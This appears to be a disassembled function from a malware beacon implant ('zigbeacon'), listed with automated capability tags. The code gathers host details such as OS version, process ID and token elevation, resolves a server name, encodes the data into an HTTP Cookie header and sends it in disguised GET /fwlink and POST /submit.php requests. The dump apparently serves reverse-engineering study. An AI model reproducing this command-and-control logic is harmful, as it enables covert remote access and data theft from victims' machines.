Function at 0x140002820
Capabilities:
Get number of processors
Get token privileges
Hash data using sha256
Resolve dns

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
mov eax, 0x1398
call fcn.140001685
sub rsp, rax
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x1300], xmm7
movaps xmmword [rbp + 0x12f0], xmm6
mov rsi, r8
mov rdi, rdx
mov ebx, ecx
push 0xffffffffffffffff
pop r14
call fcn.140028150
cmp qword [rsi + r14*8 + 8], 0
lea r14, [r14 + 1]
jne 0x140002860
movsxd rax, ebx
mov qword [0x140037120], rdi
mov qword [0x140037128], rax
mov qword [0x140037130], rsi
mov qword [0x140037138], r14
lea rax, str.zigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.configzigbeacon.config
lea rdx, [rbp + 0x1180]
mov qword [rdx], rax
mov qword [rdx + 8], 0x400
and qword [rdx + 0x10], 0
lea rsi, [rbp + 0x1268]
mov rcx, rsi
call fcn.140003cf5
cmp word [rsi], 0
jne 0x1400031dc
movzx r8d, byte [rbp + 0x126a]
lea rdx, [0x14002f410]
lea rsi, [rbp + 0x10a8]
mov rcx, rsi
call fcn.140003d54
cmp word [rsi + 0x10], 0
jne 0x1400031dc
mov rsi, qword [rbp + 0x10a8]
mov rdi, qword [rbp + 0x10b0]
lea rcx, [rbp + 0x1180]
mov rdx, rsi
mov r8, rdi
call fcn.140003dc8
test ax, ax
jne 0x1400031dc
lea rbx, [rbp + 0x1210]
lea rdx, [rbp + 0x1180]
mov rcx, rbx
call fcn.140003cf5
cmp word [rbx], 0
jne 0x1400031dc
movzx r8d, byte [rbp + 0x1212]
lea rdx, [0x14002f410]
lea rbx, [rbp + 0xfa0]
mov rcx, rbx
call fcn.140003d54
cmp word [rbx + 0x10], 0
jne 0x1400031dc
mov r15, qword [rbp + 0xfa0]
mov r14, qword [rbp + 0xfa8]
lea rcx, [rbp + 0x1180]
mov rdx, r15
mov r8, r14
call fcn.140003dc8
test ax, ax
jne 0x1400031dc
lea rbx, [rbp + 0x1258]
lea rdx, [rbp + 0x1180]
mov rcx, rbx
call fcn.140003e36
cmp word [rbx + 2], 0
jne 0x1400031dc
movzx r13d, word [rbp + 0x1258]
lea rbx, [rbp + 0x1200]
lea rdx, [rbp + 0x1180]
mov rcx, rbx
call fcn.140003cf5
cmp word [rbx], 0
jne 0x1400031dc
movzx r12d, byte [rbp + 0x1202]
lea rdx, [0x14002f410]
lea rbx, [rbp + 0xe00]
mov rcx, rbx
mov r8, r12
call fcn.140003d54
cmp word [rbx + 0x10], 0
jne 0x1400031dc
mov rdx, qword [rbp + 0xe00]
mov r8, qword [rbp + 0xe08]
lea rcx, [rbp + 0x1180]
mov qword [rbp + 0x12e8], rdx
call fcn.140003dc8
test ax, ax
jne 0x1400031dc
lea rbx, [rbp + 0x1240]
lea rdx, [rbp + 0x1180]
mov rcx, rbx
call fcn.140003e36
cmp word [rbx + 2], 0
jne 0x1400031dc
movzx r8d, word [rbp + 0x1240]
lea rdx, [0x14002f410]
lea rbx, [rbp - 0x30]
mov rcx, rbx
mov qword [rbp + 0x12b8], r8
call fcn.140003d54
cmp word [rbx + 0x10], 0
jne 0x1400031dc
mov rdx, qword [rbp - 0x30]
mov r8, qword [rbp - 0x28]
lea rcx, [rbp + 0x1180]
mov qword [rbp + 0x12c0], rdx
call fcn.140003dc8
test ax, ax
jne 0x1400031dc
lea rbx, [rbp + 0x11e8]
lea rdx, [rbp + 0x1180]
mov rcx, rbx
call fcn.140003e77
cmp word [rbx + 4], 0
jne 0x1400031dc
lea rbx, [rbp + 0x1220]
lea rdx, [rbp + 0x1180]
mov rcx, rbx
call fcn.140003cf5
cmp word [rbx], 0
jne 0x1400031dc
mov al, byte [rbp + 0x1222]
mov byte [rbp + 0x12d8], al
lea rbx, [rbp + 0x1280]
lea rdx, [rbp + 0x1180]
mov rcx, rbx
call fcn.140003e77
cmp word [rbx + 4], 0
jne 0x1400031dc
mov eax, dword [rbp + 0x1280]
mov dword [rbp + 0x12d4], eax
movups xmm7, xmmword [0x14002f410]
xorps xmm0, xmm0
movaps xmmword [rbp + 0x1290], xmm0
movaps xmmword [rbp + 0x1280], xmm7
call sub.KERNEL32.dll_GetVersion
mov dword [rbp + 0x12a8], eax
lea rdx, [rbp + 0x1268]
push 0x10
pop r8
call fcn.140003eb4
lea rcx, [rbp + 0xfa0]
call fcn.140003eeb
lea r8, [rbp + 0x1190]
mov qword [rbp + 0x12c8], rax
mov qword [r8 - 0x10], rax
mov rbx, rdx
mov qword [r8 - 8], rdx
lea rax, [0x14002f1ea]
mov qword [r8], rax
push 1
pop rax
mov qword [r8 + 8], rax
lea rcx, str.windows
mov qword [r8 + 0x10], rcx
mov qword [r8 + 0x18], 7
lea rcx, [0x14002f1f4]
mov qword [r8 + 0x20], rcx
mov qword [r8 + 0x28], rax
push 8
pop rax
xor r8d, r8d
cmp rax, 0x48
je 0x140002bb6
add r8, qword [rbp + rax + 0x1180]
add rax, 0x10
jmp 0x140002ba2
lea rdx, [rbp + 0xe00]
lea rax, [rbp + 0x1280]
mov qword [rdx], rax
lea rax, fcn.14001108a
mov qword [rdx + 8], rax
lea rcx, [rbp - 0x30]
call fcn.140003d54
lea rax, [rbp - 0x30]
cmp word [rax + 0x10], 0
jne 0x1400031dc
mov eax, dword [rbp + 0x12a8]
mov ecx, eax
shr ecx, 8
mov dword [rbp + 0x1278], ecx
shr eax, 0x10
mov dword [rbp + 0x127c], eax
mov rax, qword [rbp - 0x30]
mov qword [rbp + 0x12e0], rax
mov rax, qword [rbp - 0x28]
mov qword [rbp + 0x1160], rax
xor eax, eax
mov rdx, qword [rbp + 0x12e0]
cmp rbx, rax
je 0x140002c3a
mov rcx, qword [rbp + 0x12c8]
mov cl, byte [rcx + rax]
mov byte [rdx + rax], cl
inc rax
jmp 0x140002c23
xor eax, eax
cmp rax, 3
je 0x140002c80
mov rcx, rax
shl rcx, 4
lea r8, [rbp + 0x1190]
mov rdx, qword [r8 + rcx]
mov rcx, qword [r8 + rcx + 8]
mov r8, qword [rbp + 0x12e0]
add r8, rbx
xor r9d, r9d
cmp rcx, r9
je 0x140002c78
mov r10b, byte [rdx + r9]
mov byte [r8 + r9], r10b
inc r9
jmp 0x140002c66
add rbx, rcx
inc rax
jmp 0x140002c3c
lea rbx, [rbp + 0x1210]
lea rax, [rbp + 0x1280]
mov qword [rbx], rax
lea rax, fcn.14001108a
mov qword [rbx + 8], rax
lea rcx, [rbp + 0xfa0]
call fcn.140003f92
mov r9, rdx
lea rcx, [rbp + 0x1240]
mov rdx, rbx
mov r8, rax
call fcn.140004044
lea rax, [rbp + 0x1240]
cmp word [rax + 0x10], 0
jne 0x1400031dc
mov rax, qword [rbp + 0x1240]
mov qword [rbp + 0x12c8], rax
mov rax, qword [rbp + 0x1248]
mov qword [rbp + 0x1168], rax
lea rcx, [rbp + 0x1258]
lea rax, [rbp + 0x1280]
mov qword [rcx], rax
lea rax, fcn.14001108a
mov qword [rcx + 8], rax
mov rax, qword gs:[0x30]
mov rax, qword [rax + 0x60]
mov rax, qword [rax + 0x20]
movzx ecx, word [rax + 0x60]
shr rcx, 1
mov r9, qword [rax + 0x68]
mov qword [rsp + 0x20], rcx
lea rbx, [rbp - 0x30]
lea rdx, [rbp + 0xfa0]
mov r8d, 0x100
mov rcx, rbx
call fcn.1400040a6
mov rdx, qword [rbx]
lea rcx, [rbp + 0xfa0]
call fcn.140004174
mov r9, rdx
lea rbx, [rbp + 0x1220]
mov rcx, rbx
lea rdx, [rbp + 0x1258]
mov r8, rax
call fcn.140004044
cmp word [rbx + 0x10], 0
jne 0x1400031dc
mov rax, qword [rbp + 0x1220]
mov qword [rbp + 0x1170], rax
mov rax, qword [rbp + 0x1228]
mov qword [rbp + 0x1178], rax
movups xmm0, xmmword [rbp + 0x1268]
movups xmmword [rbp + 0x1124], xmm0
mov eax, dword [0x140037118]
test eax, eax
jne 0x140002dca
lea rbx, [rbp - 0x30]
push 4
pop r8
mov rdx, rbx
call fcn.140003eb4
mov eax, 0x7ffffffe
and eax, dword [rbx]
mov ecx, eax
xchg dword [0x140037118], ecx
mov dword [rbp + 0x1108], eax
call sub.KERNEL32.dll_GetCurrentProcessId
mov dword [rbp + 0x110c], eax
lea rax, [rbp + 0xe00]
and dword [rax], 0
mov r8, rax
lea rax, [rbp - 0x30]
and dword [rax], 0
mov qword [rsp + 0x20], rax
push 0xfffffffffffffffc
pop rcx
push 0x14
pop rdx
push 4
pop r9
mov rbx, r8
call sub.ADVAPI32.dll_GetTokenInformation
xor eax, eax
mov dword [rbp + 0x12b4], 0
cmp dword [rbx], eax
setne al
shl al, 3
or al, 6
mov byte [rbp + 0x1138], al
mov eax, dword [rbp + 0x12a8]
mov byte [rbp + 0x1139], al
mov eax, dword [rbp + 0x1278]
mov byte [rbp + 0x113a], al
mov eax, dword [rbp + 0x127c]
mov word [rbp + 0x1122], ax
lea rax, [0x14002ae20]
mov rcx, rax
shr rcx, 0x20
mov dword [rbp + 0x1110], ecx
mov dword [rbp + 0x1114], eax
lea rax, [0x14002ae40]
mov dword [rbp + 0x1118], eax
lea rbx, [rbp - 0x30]
mov rcx, rbx
call fcn.140003eeb
mov byte [rbp + rdx - 0x30], 0
call fcn.1400041fb
mov rcx, rbx
call sub.WS2_32.dll_gethostbyname
test rax, rax
je 0x140002eae
cmp word [rax + 0x10], 2
jne 0x140002eae
cmp word [rax + 0x12], 0
je 0x140002eae
mov rax, qword [rax + 0x18]
mov rax, qword [rax]
mov eax, dword [rax]
mov dword [rbp + 0x12b4], eax
lea rax, [rbp + 0x10e8]
mov ecx, dword [rbp + 0x12b4]
mov dword [rax + 0x34], ecx
mov rcx, qword [rbp + 0x12e0]
mov qword [rax - 0x40], rcx
mov rcx, qword [rbp + 0x1160]
mov qword [rax - 0x38], rcx
mov rcx, qword [rbp + 0x12c8]
mov qword [rax - 0x30], rcx
mov rcx, qword [rbp + 0x1168]
mov qword [rax - 0x28], rcx
mov rcx, qword [rbp + 0x1170]
mov qword [rax - 0x20], rcx
mov rcx, qword [rbp + 0x1178]
mov qword [rax - 0x18], rcx
movaps xmm0, xmmword [rbp + 0x1280]
movaps xmm1, xmmword [rbp + 0x1290]
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm1
mov dword [rax + 0x4c], 0xfde9fde9
and word [rax + 0x38], 0
lea rdx, [rbp + 0x1200]
mov qword [rdx], rax
lea rax, fcn.14001108a
mov qword [rdx + 8], rax
mov r8d, 0x400
mov rcx, rbx
call fcn.140004268
cmp word [rbx + 0x28], 0
jne 0x1400031dc
mov rax, qword [rbp - 0x10]
lea rcx, [rbp + 0xe00]
mov qword [rcx + 0x20], rax
movups xmm0, xmmword [rbp - 0x30]
movups xmm1, xmmword [rbp - 0x20]
movaps xmmword [rcx + 0x10], xmm1
movaps xmmword [rcx], xmm0
lea rdx, [0x14002f1e0]
push 4
pop r8
call fcn.1400042c1
test ax, ax
jne 0x1400031dc
lea rdx, [0x14002f1e5]
lea rcx, [rbp + 0xe00]
push 4
pop r8
call fcn.1400042c1
test ax, ax
jne 0x1400031dc
lea rdx, [rbp + 0x1124]
lea rcx, [rbp + 0xe00]
push 0x10
pop r8
mov rbx, rdx
call fcn.1400042c1
test ax, ax
jne 0x1400031dc
lea rdx, [rbp + 0x1134]
lea rcx, [rbp + 0xe00]
push 2
pop r8
call fcn.1400042c1
test ax, ax
jne 0x1400031dc
lea rdx, [rbp + 0x1136]
lea rcx, [rbp + 0xe00]
push 2
pop r8
call fcn.1400042c1
test ax, ax
jne 0x1400031dc
mov edx, dword [rbp + 0x1108]
lea rcx, [rbp + 0xe00]
call fcn.14000430c
test ax, ax
jne 0x1400031dc
mov edx, dword [rbp + 0x110c]
lea rcx, [rbp + 0xe00]
call fcn.14000430c
test ax, ax
jne 0x1400031dc
movzx edx, word [rbp + 0x1120]
lea rcx, [rbp + 0xe00]
call fcn.140004338
test ax, ax
jne 0x1400031dc
mov dl, byte [rbp + 0x1138]
lea rcx, [rbp + 0xe00]
call fcn.140004367
test ax, ax
jne 0x1400031dc
mov dl, byte [rbp + 0x1139]
lea rcx, [rbp + 0xe00]
call fcn.140004367
test ax, ax
jne 0x1400031dc
mov dl, byte [rbp + 0x113a]
lea rcx, [rbp + 0xe00]
call fcn.140004367
test ax, ax
jne 0x1400031dc
movzx edx, word [rbp + 0x1122]
lea rcx, [rbp + 0xe00]
call fcn.140004338
test ax, ax
jne 0x1400031dc
mov edx, dword [rbp + 0x1110]
lea rcx, [rbp + 0xe00]
call fcn.14000430c
test ax, ax
jne 0x1400031dc
mov edx, dword [rbp + 0x1114]
lea rcx, [rbp + 0xe00]
call fcn.14000430c
test ax, ax
jne 0x1400031dc
mov edx, dword [rbp + 0x1118]
lea rcx, [rbp + 0xe00]
call fcn.14000430c
test ax, ax
jne 0x1400031dc
mov edx, dword [rbp + 0x111c]
lea rcx, [rbp + 0xe00]
call fcn.14000430c
test ax, ax
jne 0x1400031dc
mov rdx, qword [rbp + 0x10a8]
mov r8, qword [rbp + 0x10b0]
lea rcx, [rbp + 0xe00]
call fcn.1400042c1
test ax, ax
jne 0x1400031dc
lea rcx, [rbp + 0xe00]
mov dl, 9
call fcn.140004367
test ax, ax
jne 0x1400031dc
mov rdx, qword [rbp + 0x10b8]
mov r8, qword [rbp + 0x10c0]
lea rcx, [rbp + 0xe00]
call fcn.1400042c1
test ax, ax
jne 0x1400031dc
lea rcx, [rbp + 0xe00]
mov dl, 9
call fcn.140004367
test ax, ax
jne 0x1400031dc
mov rdx, qword [rbp + 0x10c8]
mov r8, qword [rbp + 0x10d0]
lea rcx, [rbp + 0xe00]
call fcn.1400042c1
test ax, ax
jne 0x1400031dc
lea rcx, [rbp + 0x11e8]
lea rdx, [rbp + 0xe00]
call fcn.140004391
lea rax, [rbp + 0x11e8]
cmp word [rax + 0x10], 0
je 0x140003201
push 1
pop rax
movaps xmm6, xmmword [rbp + 0x12f0]
movaps xmm7, xmmword [rbp + 0x1300]
add rsp, 0x1398
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea rcx, [rbp + 0x11e8]
mov rax, qword [rcx]
mov rcx, qword [rcx + 8]
lea edx, [rcx - 8]
bswap edx
mov dword [rax + 4], edx
lea rdx, [rbp + 0x10a8]
mov qword [rdx + 0x30], rax
mov qword [rdx + 0x38], rcx
lea rax, [0x140033468]
lea rcx, [rbp - 0x30]
mov qword [rcx], rax
movaps xmm0, xmmword [0x1400320d0]
movups xmmword [rcx + 0x50], xmm0
movaps xmm0, xmmword [0x1400320e0]
movups xmmword [rcx + 0x60], xmm0
and qword [rcx + 0x48], 0
push 0x10
pop r8
mov rdx, rbx
call fcn.140023787
lea rcx, [rbp - 0x30]
lea rdx, [rbp + 0xe00]
call fcn.140023953
lea rbx, [rbp + 0xe00]
movups xmm0, xmmword [rbx]
movups xmm1, xmmword [rbx + 0x10]
lea rdx, [rbp + 0x10a8]
movups xmmword [rdx + 0x93], xmm0
movups xmmword [rdx + 0xa3], xmm1
mov r8d, 0xb8
mov rcx, rbx
call fcn.1400027aa
test r15, r15
mov rax, r15
cmove rax, rsi
xorps xmm6, xmm6
lea r8, [rbp + 0x10a8]
movups xmmword [r8 + 6], xmm6
movups xmmword [r8 + 0x16], xmm7
mov qword [rbx + 0xb8], rsi
mov qword [rbx + 0xc0], rdi
mov qword [rbx + 0xc8], r15
mov qword [rbx + 0xd0], r14
cmove r14, rdi
lea rcx, [rbp + 0xed8]
mov rdx, qword [rbp + 0x12c0]
mov qword [rcx], rdx
mov rdx, qword [rbp + 0x12b8]
mov qword [rcx + 8], rdx
mov rdx, qword [rbp + 0x12e8]
mov qword [rcx + 0x10], rdx
mov qword [rcx + 0x18], r12
movups xmmword [rcx + 0x20], xmm7
mov edx, dword [rbp + 0x12d4]
mov dword [rcx + 0x34], edx
mov word [rcx + 0x38], r13w
mov dl, byte [rbp + 0x12d8]
mov byte [rcx + 0x3a], dl
mov byte [rcx + 0x3f], 0
and dword [rcx + 0x3b], 0
lea rcx, [rbp + 0xf18]
mov qword [rcx], rsi
mov qword [rcx + 8], rdi
mov qword [rcx + 0x10], rax
mov qword [rcx + 0x18], r14
mov qword [rcx + 0x20], rsi
mov qword [rcx + 0x28], rdi
lea rcx, [rbp + 0xf48]
movups xmmword [rcx], xmm7
mov word [rcx + 0x10], r13w
mov rax, qword [r8 + 0x1e]
mov qword [rcx + 0x30], rax
movups xmm0, xmmword [r8]
movups xmm1, xmmword [r8 + 0x10]
movups xmmword [rcx + 0x22], xmm1
movups xmmword [rcx + 0x12], xmm0
and qword [rcx + 0x38], 0
lea rax, [rbp + 0xf88]
movups xmmword [rax], xmm7
mov dword [rax + 0x10], 1
mov dword [rax - 0x80], 0x3e8
mov eax, 0x3e8
movups xmm7, xmmword [str.abcdefghijklmnopPOST__submit.php_id]
push 8
pop r15
push 0x64
pop rdi
mov r12d, eax
cmp byte [rbp + 0x12d8], 0
je 0x1400033e3
movzx eax, byte [rbp + 0x12d8]
imul rax, r12
xor edx, edx
div rdi
mov rbx, rax
lea rsi, [rax + 1]
lea rdx, [rbp - 0x30]
mov r8, r15
call fcn.140003eb4
mov rax, rsi
mul qword [rbp - 0x30]
mov rcx, rdx
cmp rbx, rax
jae 0x140003477
add r12, rcx
imul rcx, r12, 0xf4240
call fcn.14000446d
mov r14, qword [rbp + 0xe38]
mov r12, qword [rbp + 0xee0]
lea rax, [r14 + 0xb]
cmp r12, rax
jb 0x140003744
mov r13, qword [rbp + 0xe30]
lea rax, [rbp + 0xf88]
movups xmm0, xmmword [rax]
movaps xmmword [rbp + 0xfa0], xmm0
lea rcx, [rbp - 0x30]
lea rdx, [rbp + 0xfa0]
mov r8, r12
call fcn.140003d54
cmp word [rbp - 0x20], 0
jne 0x140003744
mov rsi, qword [rbp - 0x30]
mov rbx, qword [rbp - 0x28]
mov word [rsi], 0x200
sub r12, r14
lea r8, [r12 - 3]
lea rdx, [rsi + 2]
call fcn.140003eb4
push 3
pop rax
cmp r12, rax
je 0x1400034af
cmp byte [rsi + rax - 1], 0
jne 0x140003472
mov byte [rsi + rax - 1], 0x2a
inc rax
jmp 0x140003461
mov r8, rax
not rbx
sub rbx, rsi
mov rax, rbx
xor edx, edx
div rsi
mov rbx, rdx
cmp r8, rbx
jae 0x1400033e0
lea rdx, [rbp - 0x30]
mov r8, r15
call fcn.140003eb4
mov rax, rsi
mul qword [rbp - 0x30]
mov rcx, rdx
mov r8, rax
jmp 0x14000348b
mov byte [rsi + r12 - 1], 0
lea rcx, [rsi + r12]
mov r8, rbx
sub r8, r12
mov rdx, r13
call fcn.1400027aa
mov rcx, rsi
mov rdx, rbx
lea r8, [rbp + 0xed8]
call fcn.1400278da
lea rax, [rbp + 0xf48]
movups xmm0, xmmword [rax]
movaps xmmword [rbp + 0x1280], xmm0
mov cl, 1
mov rdx, rbx
call fcn.140004492
lea rcx, [rbp + 0x1180]
lea rdx, [rbp + 0x1280]
mov r8, rax
call fcn.140003d54
cmp word [rbp + 0x1190], 0
jne 0x14000372b
mov r13, qword [rbp + 0x1180]
mov r12, qword [rbp + 0x1188]
mov qword [rsp + 0x20], rbx
lea rcx, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
mov rdx, r13
mov r8, r12
mov r9, rsi
call fcn.1400044ce
lea r8, [r12 + 0x200]
lea rcx, [rbp - 0x30]
lea rdx, [rbp + 0xf48]
call fcn.140004268
cmp word [rbp - 8], 0
jne 0x140003719
mov rax, qword [rbp - 0x10]
mov qword [rbp + 0xfc0], rax
movups xmm0, xmmword [rbp - 0x30]
movups xmm1, xmmword [rbp - 0x20]
movaps xmmword [rbp + 0xfb0], xmm1
movaps xmmword [rbp + 0xfa0], xmm0
lea rcx, [rbp + 0xfa0]
lea rdx, str.GET__fwlink
push 0xb
pop r8
call fcn.1400042c1
test ax, ax
jne 0x14000370d
lea rcx, [rbp + 0xfa0]
lea rdx, str._HTTP_1.1
push 9
pop r8
call fcn.1400042c1
test ax, ax
jne 0x14000370d
lea rcx, [rbp + 0xfa0]
lea rdx, [0x14002f1ff]
push 2
pop r8
call fcn.1400042c1
test ax, ax
jne 0x14000370d
lea rcx, [rbp + 0xfa0]
lea rdx, str.Host:
push 6
pop r8
call fcn.1400042c1
test ax, ax
jne 0x14000370d
mov rdx, qword [rbp + 0xf38]
mov r8, qword [rbp + 0xf40]
lea rcx, [rbp + 0xfa0]
call fcn.1400042c1
test ax, ax
jne 0x14000370d
lea rcx, [rbp + 0xfa0]
lea rdx, [0x14002f1ff]
push 2
pop r8
call fcn.1400042c1
test ax, ax
jne 0x14000370d
lea rcx, [rbp + 0xfa0]
lea rdx, str.Connection:_close
push 0x11
pop r8
call fcn.1400042c1
test ax, ax
jne 0x14000370d
lea rcx, [rbp + 0xfa0]
lea rdx, [0x14002f1ff]
push 2
pop r8
call fcn.1400042c1
test ax, ax
jne 0x14000370d
lea rcx, [rbp + 0xfa0]
lea rdx, str.Cookie:
mov r8, r15
call fcn.1400042c1
test ax, ax
jne 0x14000370d
lea rcx, [rbp + 0xfa0]
mov rdx, r13
mov r8, r12
call fcn.1400042c1
test ax, ax
jne 0x14000370d
lea rcx, [rbp + 0xfa0]
lea rdx, [0x14002f1ff]
push 2
pop r8
call fcn.1400042c1
test ax, ax
jne 0x14000370d
mov rdx, qword [rbp + 0xfa8]
add rdx, 2
lea rcx, [rbp + 0xfa0]
call fcn.1400045b1
test ax, ax
jne 0x14000370d
lea rcx, [rbp + 0xfa0]
lea rdx, [0x14002f1ff]
push 2
pop r8
call fcn.1400042c1
test ax, ax
je 0x14000375b
lea rcx, [rbp + 0xfa0]
call fcn.140004649
lea rcx, [rbp + 0xf48]
mov rdx, r13
mov r8, r12
call fcn.140004692
mov rcx, qword [rbp + 0xf88]
mov rdx, qword [rbp + 0xf90]
mov r8, rsi
mov r9, rbx
call fcn.140005b7c
mov eax, dword [rbp + 0xf08]
mov cl, byte [rbp + 0xf12]
mov byte [rbp + 0x12d8], cl
jmp 0x14000339e
lea rcx, [rbp + 0x11e8]
lea rdx, [rbp + 0xf18]
lea r14, [rbp + 0xfa0]
mov r8, r14
call fcn.1400046cd
mov rcx, r14
call fcn.140004649
lea rcx, [rbp + 0xf48]
mov rdx, r13
mov r8, r12
call fcn.140004692
cmp word [rbp + 0x11f8], 0
jne 0x14000372b
mov rax, qword [rbp + 0x11e8]
mov qword [rbp + 0x12b8], rax
mov rcx, qword [rbp + 0x11f0]
mov r12w, 0x46
mov rax, rcx
mov qword [rbp + 0x12c0], rcx
cmp rcx, 0x20
jb 0x140003871
mov rax, qword [rbp + 0x12c0]
lea r8, [rax - 0x10]
mov rdx, qword [rbp + 0x12b8]
lea r13, [rdx + rax]
add r13, 0xfffffffffffffff0
lea r14, [rbp + 0x1180]
mov rcx, r14
mov qword [rbp + 0x12e0], r8
lea r9, [rbp + 0xea3]
call fcn.140005baf
mov rcx, r13
push 0x10
pop rdx
mov r8, r14
mov r9, rdx
call fcn.140005c99
test al, 1
je 0x140003c02
mov r12w, 4
test byte [rbp + 0x12c0], 0xf
jne 0x140003871
lea rcx, [rbp - 0x30]
call fcn.14001a5dd
lea rax, [rbp + 0xf88]
movups xmm0, xmmword [rax]
movaps xmmword [rbp + 0x1220], xmm0
lea rcx, [rbp + 0x1280]
lea rdx, [rbp + 0x1220]
mov r8, qword [rbp + 0x12b8]
mov r9, qword [rbp + 0x12e0]
call fcn.140004044
movzx r12d, word [rbp + 0x1290]
test r12w, r12w
je 0x140003876
jmp 0x140003c02
mov r13, qword [rbp + 0x1280]
mov r14, qword [rbp + 0x1288]
mov rax, qword [rbp + 0xd58]
mov qword [rbp + 0x12e8], rax
lea r12, [rbp + 0xfa0]
mov rcx, r12
lea rdx, [rbp + 0xe93]
push 0x10
pop r8
mov rax, qword [rbp + 0x12e8]
call qword [rax + 0x10]
movaps xmmword [rbp + 0x11c0], xmm7
mov rcx, r12
lea r12, [rbp + 0x11c0]
mov rdx, r12
mov r8, r13
mov r9, r14
mov rax, qword [rbp + 0x12e8]
call qword [rax + 0x18]
mov qword [rbp + 0x12c8], r13
mov qword [rbp + 0x11c0], r13
mov qword [rbp + 0x12e0], r14
mov qword [rbp + 0x11c8], r14
and qword [rbp + 0x11d0], 0
lea rcx, [rbp + 0x1268]
mov rdx, r12
call fcn.140005cc6
movzx r12d, word [rbp + 0x126c]
test r12w, r12w
jne 0x140003be8
mov eax, dword [rbp + 0x1268]
mov dword [rbp + 0x12d8], eax
lea rcx, [rbp + 0x1210]
lea rdx, [rbp + 0x11c0]
call fcn.140005cc6
movzx r12d, word [rbp + 0x1214]
test r12w, r12w
jne 0x140003be8
mov eax, dword [rbp + 0x1210]
add rax, 8
mov qword [rbp + 0x12a8], rax
cmp qword [rbp + 0x12e0], rax
jae 0x14000396f
mov r12w, 3
jmp 0x140003b76
lea rcx, [rbp - 0x30]
movups xmmword [rcx + 8], xmm6
lea rax, [rbp + 0xf88]
movups xmm0, xmmword [rax]
movups xmmword [rcx + 0x18], xmm0
movabs rax, 0xaaaaaaaaaaaaaaaa
mov qword [rbp - 0x30], rax
push 1
pop rdx
call fcn.140005cfb
test ax, ax
je 0x1400039a8
mov r12d, eax
jmp 0x140003b76
mov rax, qword [rbp - 0x10]
mov qword [rbp + 0xfc0], rax
movups xmm0, xmmword [rbp - 0x30]
movups xmm1, xmmword [rbp - 0x20]
movaps xmmword [rbp + 0xfb0], xmm1
movaps xmmword [rbp + 0xfa0], xmm0
mov rax, qword [rbp + 0x12a8]
cmp qword [rbp + 0x11d0], rax
jae 0x140003b25
lea rcx, [rbp + 0x1258]
lea rdx, [rbp + 0x11c0]
call fcn.140005cc6
movzx r12d, word [rbp + 0x125c]
test r12w, r12w
jne 0x140003be8
mov eax, dword [rbp + 0x1258]
mov dword [rbp + 0x12d4], eax
lea rcx, [rbp + 0x1200]
lea rdx, [rbp + 0x11c0]
call fcn.140005cc6
movzx r12d, word [rbp + 0x1204]
test r12w, r12w
jne 0x140003be8
mov r8d, dword [rbp + 0x1200]
lea rax, [r8 + 0x10]
cmp qword [rbp + 0x12e0], rax
jb 0x140003965
lea rcx, [rbp + 0x1280]
lea rdx, [rbp + 0xf88]
call fcn.140003d54
movzx r12d, word [rbp + 0x1290]
test r12w, r12w
jne 0x140003be8
mov r13, qword [rbp + 0x1280]
mov r14, qword [rbp + 0x1288]
lea rcx, [rbp + 0x11c0]
mov rdx, r13
mov r8, r14
call fcn.140005eb6
test ax, ax
jne 0x140003b71
mov rax, qword [rbp + 0xfa8]
mov rdx, qword [rbp + 0xfb0]
cmp rdx, rax
ja 0x140003ae1
mov rcx, rdx
shr rcx, 1
add rcx, 8
add rdx, rcx
push 0xffffffffffffffff
pop rcx
cmovb rdx, rcx
cmp rdx, rax
jbe 0x140003aac
lea rcx, [rbp + 0xfa0]
call fcn.140005cfb
test ax, ax
jne 0x1400039a0
mov rax, qword [rbp + 0xfa8]
lea rcx, [rax + 1]
mov qword [rbp + 0xfa8], rcx
mov rcx, qword [rbp + 0xfa0]
shl rax, 5
mov edx, dword [rbp + 0x12d8]
mov dword [rcx + rax + 0x18], edx
mov qword [rcx + rax], r13
mov qword [rcx + rax + 8], r14
mov edx, dword [rbp + 0x12d4]
mov dword [rcx + rax + 0x1c], edx
lea rdx, [rbp + 0xe00]
mov qword [rcx + rax + 0x10], rdx
jmp 0x1400039c9
lea rax, [rbp + 0xfb8]
movups xmm0, xmmword [rax]
movaps xmmword [rbp + 0x1240], xmm0
mov rdx, qword [rbp + 0xfa0]
mov r14, qword [rbp + 0xfa8]
mov r8, qword [rbp + 0xfb0]
lea rcx, [rbp + 0x1240]
mov qword [rbp + 0x12e8], rdx
mov qword [rbp + 0x12d8], r8
mov r9, r14
call fcn.140005d93
test al, 1
je 0x140003b78
xor r12d, r12d
jmp 0x140003be8
mov r12w, 1
jmp 0x140003be8
lea rcx, [rbp - 0x30]
lea rdx, [rbp + 0x1240]
mov r8, r14
call fcn.140005ded
movzx r12d, word [rbp - 0x20]
test r12w, r12w
jne 0x140003be8
mov r13, qword [rbp - 0x30]
mov r14, qword [rbp - 0x28]
mov r8, r14
shl r8, 5
mov rcx, r13
mov r12, qword [rbp + 0x12e8]
mov rdx, r12
call fcn.1400027aa
lea rax, [rbp + 0xfb8]
movups xmm0, xmmword [rax]
movaps xmmword [rbp + 0x1220], xmm0
lea rcx, [rbp + 0x1220]
mov rdx, r12
mov r8, qword [rbp + 0x12d8]
call fcn.140005e72
xor r12d, r12d
mov qword [rbp + 0x12e8], r13
lea rcx, [rbp + 0xf88]
mov rdx, qword [rbp + 0x12c8]
